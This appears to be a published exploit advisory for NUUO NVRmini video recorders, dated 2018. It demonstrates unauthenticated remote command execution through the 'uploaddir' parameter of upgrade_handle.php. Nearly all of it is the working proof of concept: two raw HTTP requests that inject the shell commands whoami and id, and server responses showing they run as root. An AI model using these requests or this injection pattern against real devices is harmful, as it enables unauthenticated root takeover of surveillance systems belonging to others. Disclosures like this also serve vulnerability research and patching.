NUUO NVRmini – ‘upgrade_handle.php’ Remote Command Execution
# Exploit Title: NUUO NVR Unauthenticated Remote Code Execution # Exploit Author: Berk Dusunur # Google Dork: N/A # Date: 2018-07-21 # Vendor Homepage: http://www.nuuo.com/ # Software Link: http://www.nuuo.com/ # Affected Version: v2016 # Tested on: Parrot OS # CVE : N/A # Proof Of Concept GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27 HTTP/1.1 Host: target:50000 Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en HTTP/1.1 200 OK X-Powered-By: PHP/5.6.13 Content-type: text/html; charset=UTF-8 Transfer-Encoding: chunked Date: Sat, 21 Jul 2018 15:54:09 GMT Server: lighttpd/1.4.39 upload_tmp_dir=/mtd/block3 root GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27 HTTP/1.1 Host: target:5000 Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en HTTP/1.1 200 OK X-Powered-By: PHP/5.6.13 Content-type: text/html; charset=UTF-8 Transfer-Encoding: chunked Date: Sat, 21 Jul 2018 15:54:09 GMT Server: lighttpd/1.4.39 upload_tmp_dir=/mtd/block3 uid=0(root) gid=0(root) |